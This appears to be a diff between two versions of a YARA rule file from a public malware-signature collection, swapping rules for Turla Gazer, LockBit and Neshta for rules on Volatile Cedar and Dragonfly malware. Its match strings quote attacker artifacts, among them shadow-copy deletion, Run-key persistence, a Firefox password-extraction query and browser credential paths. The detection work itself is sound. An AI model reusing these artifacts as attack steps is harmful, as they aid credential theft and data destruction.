-		$varInitializeAndXorCondition1_XorEDI = { BF ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
-		$varInitializeAndXorCondition1_XorEDX = { BA ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
-		$varInitializeAndXorCondition2_XorEAX = { D9 74 24 F4 [0-30] B8 ?? ?? ?? ?? [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
-		$varInitializeAndXorCondition2_XorEBP = { D9 74 24 F4 [0-30] BD ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
-		$varInitializeAndXorCondition2_XorEBX = { D9 74 24 F4 [0-30] BB ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
-		$varInitializeAndXorCondition2_XorECX = { D9 74 24 F4 [0-30] B9 ?? ?? ?? ?? [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
-		$varInitializeAndXorCondition2_XorEDI = { D9 74 24 F4 [0-30] BF ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
-		$varInitializeAndXorCondition2_XorEDX = { D9 74 24 F4 [0-30] BA ?? ?? ?? ?? [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
+		$DLD_S = "DLD-S:"
+		$DLD_E = "DLD-E:"
 
 	condition:
-		any of them
+		all of them and uint16(0)==0x5A4D
 }
-import "pe"
-
-rule SIGNATURE_BASE_Gazer_Certificate_1 : FILE
+rule SIGNATURE_BASE_Explosion_Sample_1 : FILE
 {
 	meta:
-		description = "Detects Tura's Gazer malware"
-		author = "ESET"
-		id = "4eace653-003e-5cae-9db8-f26502f35fc4"
-		date = "2017-08-30"
+		description = "Explosion/Explosive Malware - Volatile Cedar APT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dcf28185-75a8-5c9f-9f60-edb8dc187e16"
+		date = "2015-04-03"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_gazer.yar#L27-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ef248ac5cdde0034d940f80b32966fe64841dcf99923dfc0a7035354af963f56"
-		score = 75
+		reference = "http://goo.gl/5vYaNb"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_volatile_cedar.yar#L14-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c97693ecb36247bdb44ab3f12dfeae8be4d299bb"
+		logic_hash = "f559880c182cf8061d640f60f18fe607d88a1f22216d93ff1d0ece720bcc94a7"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$certif1 = { 52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02 }
-		$certif2 = { 12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c }
+		$s5 = "REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
+		$s9 = "WinAutologon From Winlogon Reg" fullword ascii
+		$s10 = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0" fullword ascii
+		$s11 = "IE:Password-Protected sites" fullword ascii
+		$s12 = "\\his.sys" ascii
+		$s13 = "HTTP Password" fullword ascii
+		$s14 = "\\data.sys" ascii
+		$s15 = "EL$_RasDefaultCredentials#0" fullword wide
+		$s17 = "Office Outlook HTTP" fullword ascii
+		$s20 = "Hist :<b> %ws</b>  :%s </br></br>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them and filesize <2MB
+		all of them and uint16(0)==0x5A4D
 }
-import "pe"
-
-rule SIGNATURE_BASE_Gazer_Logfile_Name_1 : FILE
+rule SIGNATURE_BASE_Explosion_Sample_2 : FILE
 {
 	meta:
-		description = "Detects Tura's Gazer malware"
-		author = "ESET"
-		id = "c10d440f-dc9e-54c8-b329-9f22cba05e86"
-		date = "2017-08-30"
+		description = "Explosion/Explosive Malware - Volatile Cedar APT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8be7ed50-0bfc-5302-b4fa-8817bf1750d7"
+		date = "2015-04-03"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_gazer.yar#L41-L54"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c893ec41884f106329350c079b087e41a5b9f1040ab0892c90c03972d49dc070"
-		score = 75
+		reference = "http://goo.gl/5vYaNb"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_volatile_cedar.yar#L40-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "62fe6e9e395f70dd632c70d5d154a16ff38dcd29"
+		logic_hash = "db7ead96e0a9b4cf5c5cc885eac421cc11988f60d03f94de5fe828899d115bf0"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "CVRG72B5.tmp.cvr"
-		$s2 = "CVRG1A6B.tmp.cvr"
-		$s3 = "CVRG38D9.tmp.cvr"
+		$s0 = "serverhelp.dll" fullword wide
+		$s1 = "Windows Help DLL" fullword wide
+		$s5 = "SetWinHoK" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		all of them and uint16(0)==0x5A4D
 }
-rule SIGNATURE_BASE_URL_File_Local_EXE : FILE
+rule SIGNATURE_BASE_Explosion_Generic_1 : FILE
 {
 	meta:
-		description = "Detects an .url file that points to a local executable"
+		description = "Generic Rule for Explosion/Explosive Malware - Volatile Cedar APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8b157e98-7b69-5649-b1d8-40bd6b685bf6"
-		date = "2017-10-04"
+		id = "dc3721b6-c19e-5449-9962-2a6f844e49b4"
+		date = "2015-04-03"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/malwareforme/status/915300883012870144"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_to_local_exe.yar#L1-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b85b723142f52ade68f6eb8ba54bb7dffafce0df6d1ae8a7c08b3ce621ccadd4"
-		score = 60
+		reference = "not set"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_volatile_cedar.yar#L59-L88"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8b6e1e6aa838036989040dfbf4f6f3e347a717967deef740b35d1752b5c91da5"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "d0f059ba21f06021579835a55220d1e822d1233f95879ea6f7cb9d301408c821"
+		hash1 = "1952fa94b582e9af9dca596b5e51c585a78b8b1610639e3b878bbfa365e8e908"
+		hash2 = "d8fdcdaad652c19f4f4676cd2f89ae834dbc19e2759a206044b18601875f2726"
+		hash3 = "e2e6ed82703de21eb4c5885730ba3db42f3ddda8b94beb2ee0c3af61bc435747"
+		hash4 = "03641e5632673615f23b2a8325d7355c4499a40f47b6ae094606a73c56e24ad0"
 
 	strings:
-		$s1 = "[InternetShortcut]" ascii wide fullword
-		$s2 = /URL=file:\/\/\/C:\\[^\n]{1,50}\.exe/
+		$s0 = "autorun.exe" fullword
+		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CL"
+		$s2 = "%drp.exe" fullword
+		$s3 = "%s_%s%d.exe" fullword
+		$s4 = "open=autorun.exe" fullword
+		$s5 = "http://www.microsoft.com/en-us/default.aspx" fullword
+		$s10 = "error.renamefile" fullword
+		$s12 = "insufficient lookahead" fullword
+		$s13 = "%s %s|" fullword
+		$s16 = ":\\autorun.exe" fullword
 
 	condition:
-		filesize <400 and all of them
+		7 of them and uint16(0)==0x5A4D
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Neshta_Generic : HIGHVOL FILE
+rule SIGNATURE_BASE_Explosive_UA : FILE
 {
 	meta:
-		description = "Detects Neshta malware"
+		description = "Explosive Malware Embedded User Agent - Volatile Cedar APT http://goo.gl/HQRCdw"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9a3b8369-7e19-5c21-9eba-0bb81507696a"
-		date = "2018-01-15"
-		modified = "2021-04-14"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_netsha.yar#L3-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "acac6f81900c60a0aacea6345a7c03a0b77dd86d5ca7ca3d102668c49595bb6b"
-		score = 75
-		quality = 85
-		tags = "HIGHVOL, FILE"
-		hash1 = "27c67eb1378c2fd054c6649f92ec8ee9bfcb6f790224036c974f6c883c46f586"
-		hash1 = "0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e"
-		hash2 = "b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb"
-		hash3 = "1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb"
-
-	strings:
-		$x1 = "the best. Fuck off all the rest."
-		$x2 = "! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]" fullword ascii
-		$s1 = "Neshta" ascii fullword
-		$s2 = "Made in Belarus. " ascii fullword
-		$op1 = { 85 c0 93 0f 85 62 ff ff ff 5e 5b 89 ec 5d c2 04 }
-		$op2 = { e8 e5 f1 ff ff 8b c3 e8 c6 ff ff ff 85 c0 75 0c }
-		$op3 = { eb 02 33 db 8b c3 5b c3 53 85 c0 74 15 ff 15 34 }
-		$sop1 = { e8 3c 2a ff ff b8 ff ff ff 7f eb 3e 83 7d 0c 00 }
-		$sop2 = { 2b c7 50 e8 a4 40 ff ff ff b6 88 }
-
-	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (1 of ($x*) or all of ($s*) or 3 of them or pe.imphash()=="9f4693fc0c511135129493f2161d1e86")
-}
-rule SIGNATURE_BASE_MAL_RANSOM_LNX_Macos_Lockbit_Apr23_1 : FILE
-{
-	meta:
-		description = "Detects LockBit ransomware samples for Linux and macOS"
-		author = "Florian Roth"
-		id = "c01cb907-7d30-5487-b908-51f69ddb914c"
-		date = "2023-04-15"
+		id = "d88d5fd6-adf9-5ced-8b79-e47e3ffbde50"
+		date = "2015-04-03"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/malwrhunterteam/status/1647384505550876675?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lockbit_lnx_macos_apr23.yar#L2-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6d838e8b207b97d7c335dc4066de2c6dc87f7adc9cac31742677edbe85386cf7"
-		score = 85
+		reference = "http://goo.gl/HQRCdw"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_volatile_cedar.yar#L90-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ed7fedcf9cda868803c8ace393e08709a747b909178e19cdbb1b116edbb82f9"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		hash1 = "0a2bffa0a30ec609d80591eef1d0994d8b37ab1f6a6bad7260d9d435067fb48e"
-		hash2 = "9ebcbaf3c9e2bbce6b2331238ab584f95f7ced326ca4aba2ddcc8aa8ee964f66"
-		hash3 = "a405d034c01a357a89c9988ffe8a46a165915df18fd297469b2bcaaf97578442"
-		hash4 = "c9cac06c9093e9026c169adc3650b018d29c8b209e3ec511bbe34cbe1638a0d8"
-		hash5 = "dc3d08480f5e18062a0643f9c4319e5c3f55a2e7e93cd8eddd5e0c02634df7cf"
-		hash6 = "e77124c2e9b691dbe41d83672d3636411aaebc0aff9a300111a90017420ff096"
-		hash7 = "0be6f1e927f973df35dad6fc661048236d46879ad59f824233d757ec6e722bde"
-		hash8 = "3e4bbd21756ae30c24ff7d6942656be024139f8180b7bddd4e5c62a9dfbd8c79"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "restore-my-files.txt" ascii fullword
-		$s1 = "ntuser.dat.log" ascii fullword
-		$s2 = "bootsect.bak" ascii fullword
-		$s3 = "autorun.inf" ascii fullword
-		$s4 = "lockbit" ascii fullword
-		$xc1 = { 33 38 36 00 63 6D 64 00 61 6E 69 00 61 64 76 00 6D 73 69 00 6D 73 70 00 63 6F 6D 00 6E 6C 73 }
-		$xc2 = { 6E 74 6C 64 72 00 6E 74 75 73 65 72 2E 64 61 74 2E 6C 6F 67 00 62 6F 6F 74 73 65 63 74 2E 62 61 6B }
-		$xc3 = { 76 6D 2E 73 74 61 74 73 2E 76 6D 2E 76 5F 66 72 65 65 5F 63 6F 75 6E 74 00 61 2B 00 2F 2A }
-		$op1 = { 84 e5 f0 00 f0 e7 10 40 2d e9 2e 10 a0 e3 00 40 a0 e1 ?? fe ff }
-		$op2 = { 00 90 a0 e3 40 20 58 e2 3f 80 08 e2 3f 30 c2 e3 09 20 98 e1 08 20 9d }
-		$op3 = { 2d e9 01 70 43 e2 07 00 13 e1 01 60 a0 e1 08 d0 4d e2 02 40 }
+		$x1 = "Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)" fullword
 
 	condition:
-		( uint32be(0)==0x7f454c46 or uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca) and (1 of ($x*) or 3 of them ) or 2 of ($x*) or 5 of them
+		$x1 and uint16(0)==0x5A4D
 }
-rule SIGNATURE_BASE_MAL_RANSOM_Lockbit_Apr23_1
+rule SIGNATURE_BASE_Webshell_Caterpillar_ASPX
 {
 	meta:
-		description = "Detects indicators found in LockBit ransomware"
-		author = "Florian Roth"
-		id = "75dc8b95-16f0-5170-a7d6-fc10bb778348"
-		date = "2023-04-17"
+		description = "Volatile Cedar Webshell - from file caterpillar.aspx"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9af48c64-3768-5765-8245-38df000598a7"
+		date = "2015-04-03"
 		modified = "2023-12-05"
-		reference = "https://objective-see.org/blog/blog_0x75.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lockbit_lnx_macos_apr23.yar#L43-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cd5bffa5571abfd1446b065d26c8c23f00fe1376d505af539c6f37356014a86f"
+		reference = "http://goo.gl/emons5"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_volatile_cedar.yar#L106-L126"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9df2e4a25052136d6e622273f917bd15df410869a8cf3075c773a14ea62a2a55"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "af4c99208fb92dc42bc98c4f96c3536ec8f3fe56"
 
 	strings:
-		$xe1 = "-i '/path/to/crypt'" xor
-		$xe2 = "http://lockbit" xor
-		$s1 = "idelayinmin" ascii
-		$s2 = "bVMDKmode" ascii
-		$s3 = "bSelfRemove" ascii
-		$s4 = "iSpotMaximum" ascii
-		$fp1 = "<html"
+		$s0 = "Dim objNewRequest As WebRequest = HttpWebRequest.Create(sURL)" fullword
+		$s1 = "command = \"ipconfig /all\"" fullword
+		$s3 = "For Each xfile In mydir.GetFiles()" fullword
+		$s6 = "Dim oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
+		$s10 = "recResult = adoConn.Execute(strQuery)" fullword
+		$s12 = "b = Request.QueryString(\"src\")" fullword
+		$s13 = "rw(\"<a href='\" + link + \"' target='\" + target + \"'>\" + title + \"</a>\")" fullword
 
 	condition:
-		(1 of ($x*) or 4 of them ) and not 1 of ($fp*)
+		all of them
 }
-rule SIGNATURE_BASE_MAL_RANSOM_Lockbit_Locker_LOG_Apr23_1
+import "pe"
+
+rule SIGNATURE_BASE_Unspecified_Malware_Sep1_A1 : FILE
 {
 	meta:
-		description = "Detects indicators found in LockBit ransomware log files"
-		author = "Florian Roth"
-		id = "aa0a2393-e5a2-5151-8afb-91a9bb922179"
-		date = "2023-04-17"
+		description = "Detects malware from DrqgonFly APT report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cff49e85-c8c3-5240-9948-0551e38e7040"
+		date = "2017-09-12"
 		modified = "2023-12-05"
-		reference = "https://objective-see.org/blog/blog_0x75.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lockbit_lnx_macos_apr23.yar#L69-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d5f96e601150209382d3f6458863bc79768beb99b587aa8d9ba37cb2c11ef634"
+		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dragonfly.yar#L13-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d235dc964ac74d2b635251d07b2a9119b731a6c3c45b6b2a81ca88e6fc8b63b7"
 		score = 75
 		quality = 85
-		tags = ""
-
-	strings:
-		$s1 = " is encrypted. Checksum after encryption "
-		$s2 = "~~~~~Hardware~~~~"
-		$s3 = "[+] Add directory to encrypt:"
-		$s4 = "][+] Launch parameters: "
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "28143c7638f22342bff8edcd0bedd708e265948a5fcca750c302e2dca95ed9f0"
 
 	condition:
-		2 of them
+		( uint16(0)==0x5a4d and filesize <200KB and pe.imphash()=="17a4bd9c95f2898add97f309fc6f9bcd")
 }
-rule SIGNATURE_BASE_MAL_RANSOM_Lockbit_Forensicartifacts_Apr23_1
+import "pe"
+
+rule SIGNATURE_BASE_Dragonfly_APT_Sep17_1 : FILE
 {
 	meta:
-		description = "Detects forensic artifacts found in LockBit intrusions"
-		author = "Florian Roth"
-		id = "e716030c-ee78-51dc-919c-cf59e93da976"
-		date = "2023-04-17"
+		description = "Detects malware from DrqgonFly APT report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d219a54e-cb76-5c56-b64c-5019e811eeb1"
+		date = "2017-09-12"
 		modified = "2023-12-05"
-		reference = "https://objective-see.org/blog/blog_0x75.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lockbit_lnx_macos_apr23.yar#L86-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "81021f8c9aed17c007d7329a598c644a706fa9750818c8974984eefcba8d06c2"
+		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dragonfly.yar#L29-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c885fb690b7e047203529f0c4a6dd60dea822ce60a47e42b52d3216bc26da62e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fc54d8afd2ce5cb6cc53c46783bf91d0dd19de604308d536827320826bc36ed9"
 
 	strings:
-		$x1 = "/tmp/locker.log" ascii fullword
-		$x2 = "Executable=LockBit/locker_" ascii
-		$xc1 = { 54 6F 72 20 42 72 6F 77 73 65 72 20 4C 69 6E 6B 73 3A 0D 0A 68 74 74 70 3A 2F 2F 6C 6F 63 6B 62 69 74 }
+		$s1 = "\\Update\\Temp\\ufiles.txt" wide
+		$s2 = "%02d.%02d.%04d %02d:%02d" fullword wide
+		$s3 = "*pass*.*" fullword wide
 
 	condition:
-		1 of ($x*)
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
-rule SIGNATURE_BASE_MAL_Ransomware_Germanwiper : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Dragonfly_APT_Sep17_2 : FILE
 {
 	meta:
-		description = "Detects RansomWare GermanWiper in Memory or in unpacked state"
-		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
-		id = "e7587691-f69a-53e7-bab2-875179fbfa19"
-		date = "2019-08-05"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/r3c0nst/status/1158326526766657538"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_germanwiper.yar#L1-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dcb4f91006a893149a60e9708efb9de809f75c810bddfd2d90c8f6fffa0879ea"
+		description = "Detects malware from DrqgonFly APT report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e64f121d-a628-54b5-88f3-96eea388c155"
+		date = "2017-09-12"
+		modified = "2023-01-06"
+		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dragonfly.yar#L46-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "433711dd15c8d1044b381046747194e47402288df06da6bbc61055dc9c90f52a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash_packed = "41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c"
-		hash_unpacked = "708967cad421bb2396017bdd10a42e6799da27e29264f4b5fb095c0e3503e447"
+		hash1 = "178348c14324bc0a3e57559a01a6ae6aa0cb4013aabbe324b51f906dcf5d537e"
 
 	strings:
-		$x_Mutex1 = "HSDFSD-HFSD-3241-91E7-ASDGSDGHH" ascii
-		$x_Mutex2 = "cFgxTERNWEVhM2V" ascii
-		$PurgeCode = { 6a 00 8b 47 08 50 6a 00 6a 01 e8 ?? ?? ?? ??
-                     50 e8 ?? ?? ?? ?? 8b f0 8b d7 8b c3 e8 }
-		$ProcessKill1 = "sqbcoreservice.exe" ascii
-		$ProcessKill2 = "isqlplussvc.exe" ascii
-		$KillShadowCopies = "vssadmin.exe delete shadows" ascii
-		$Domain1 = "cdnjs.cloudflare.com" ascii
-		$Domain2 = "expandingdelegation.top" ascii
-		$RansomNote = "Entschluesselungs_Anleitung.html" ascii
+		$s1 = "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" wide
+		$s2 = "C:\\Users\\Public\\Log.txt" fullword wide
+		$s3 = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" fullword wide
+		$s4 = "***************** Mozilla Firefox ****************" fullword wide
+		$s5 = "********************** Opera *********************" fullword wide
+		$s6 = "\\AppData\\Local\\Microsoft\\Credentials\\" wide
+		$s7 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\" wide
+		$s8 = "**************** Internet Explorer ***************" fullword wide
 
 	condition:
-		uint16(0)==0x5A4D and filesize <1000KB and (1 of ($x*) or 3 of them )
+		( uint16(0)==0x5a4d and filesize <3000KB and 3 of them )
 }
-rule SIGNATURE_BASE_SUSP_LNX_SH_Cryptominer_Indicators_Dec20_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Dragonfly_APT_Sep17_3 : FILE
 {
 	meta:
-		description = "Detects helper script used in a crypto miner campaign"
+		description = "Detects malware from DrqgonFly APT report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e376e0e1-1490-5ad4-8ca2-d28ca1c0b51a"
-		date = "2020-12-31"
+		id = "4eafd732-80bc-5f50-bf0d-096df4d35d61"
+		date = "2017-09-12"
 		modified = "2023-12-05"
-		reference = "https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_crypto_miner.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4acd1b77307dbf23f95f7a2024209bee714c6931182aff16455ea6b7e4a6f287"
-		score = 65
+		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dragonfly.yar#L68-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f564685eb1426d1a3eb888a888bfdf3a8fa9bc96af07fb0bc5f10c0a324f1d9d"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "3298dbd985c341d57e3219e80839ec5028585d0b0a737c994363443f4439d7a5"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b051a5997267a5d7fa8316005124f3506574807ab2b25b037086e2e971564291"
 
 	strings:
-		$x1 = "miner running" fullword ascii
-		$x2 = "miner runing" fullword ascii
-		$x3 = " --donate-level 1 "
-		$x4 = " -o pool.minexmr.com:5555 " ascii
+		$s1 = "kernel64.dll" fullword ascii
+		$s2 = "ws2_32.dQH" fullword ascii
+		$s3 = "HGFEDCBADCBA" fullword ascii
+		$s4 = "AWAVAUATWVSU" fullword ascii
 
 	condition:
-		filesize <20KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <40KB and (pe.imphash()=="6f03fb864ff388bac8680ac5303584be" or all of them ))
 }
-rule SIGNATURE_BASE_PUA_WIN_XMRIG_Cryptocoin_Miner_Dec20 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Dragonfly_APT_Sep17_4 : FILE
 {
 	meta:
-		description = "Detects XMRIG crypto coin miners"
+		description = "Detects malware from DrqgonFly APT report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4dfb04e9-fbba-5a6f-ad20-d805025d2d74"
-		date = "2020-12-31"
+		id = "dbc0eebf-fc81-5a0b-b2e0-129d0b40b6f7"
+		date = "2017-09-12"
 		modified = "2023-12-05"
-		reference = "https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_crypto_miner.yar#L19-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
